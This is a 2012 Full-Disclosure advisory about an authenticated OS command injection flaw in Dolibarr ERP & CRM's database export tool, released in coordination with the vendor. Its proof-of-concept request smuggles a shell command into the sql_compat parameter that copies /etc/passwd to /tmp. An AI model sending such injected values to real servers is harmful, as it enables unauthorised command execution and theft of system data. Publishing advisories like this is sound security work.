[Full-disclosure] Dolibarr ERP & CRM OS Command Injection

[Nahuel Grisolia <nahuel.grisolia@xxxxxxxxx>]

Dolibarr ERP & CRM OS Command Injection
===================================

1. Advisory Information
Date published: 2012-4-6
Vendors contacted: Dolibarr
Release mode: Coordinated release

2. Vulnerability Information
Class: Injection
Remotely Exploitable: Yes
Locally Exploitable: Yes

3. Software Description
Dolibarr ERP & CRM is a modern web software to manage your activity (contacts, 
invoices, orders, stocks, agenda, etc...). It's an opensource and free software 
designed for small companies, foundations and freelances.

4. Vulnerability Description
Injection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data 
is sent to an interpreter as part of a command or query. The attacker’s hostile 
data can trick the interpreter into executing unintended commands or accessing 
unauthorized data.

5. Vulnerable packages
Dolibarr <= 3.1.1
Dolibarr <= 3.2.0

6. Non-vulnerable packages
Vendor said that the vulnerability was fixed in Development version of 3.2.X 
branch. However, the fix for 3.1.X branch will be published by June. Vendor 
accepted the public disclosure of this vulnerability.

7. Credits
This vulnerability was discovered by Nahuel Grisolia 
( nahuel @ cintainfinita.com.ar )

8. Technical Description
8.1. OS Command Injection – PoC Example
CVSSv2 Score: 8.5 (AV:N/AC:M/Au:S/C:C/I:C/A:C)
Dolibarr is prone to remote command execution vulnerability because the 
software fails to adequately sanitize user-supplied input.
A command injection attack can be executed if specially crafted parameters are 
sent. 
Successful attacks can compromise the affected Web Server and its software.
The following proof of concept is given:
POST /dolibarr/admin/tools/export.php HTTP/1.1
[…]
Cookie: DOLSESSID_[…]=[…]

token=[...]&export_type=server&what=mysql&mysqldump=%2Fusr%2Fbin%2Fmysqldump&use_transaction=yes&disable_fk=yes&sql_compat=;cat
/etc/passwd > 
/tmp/cintainfinitapasswd;&sql_structure=structure&drop=1&sql_data=data&showcolumns=yes&extended_ins=yes&delayed=yes&sql_ignore=yes&hexforbinary=yes&filename_template=mysqldump_dolibarrdebian_3.1.1_201203231716.sql&compression=none


9. Report Timeline
* 2012-03-26 / Vendor notification
* 2012-03-27 / Vulnerability details sent to Vendor
* 2012-03-27 / Vendor fix – See 6. Non-vulnerable packages
* 2012-04-06 / Public Disclosure – PoC attached
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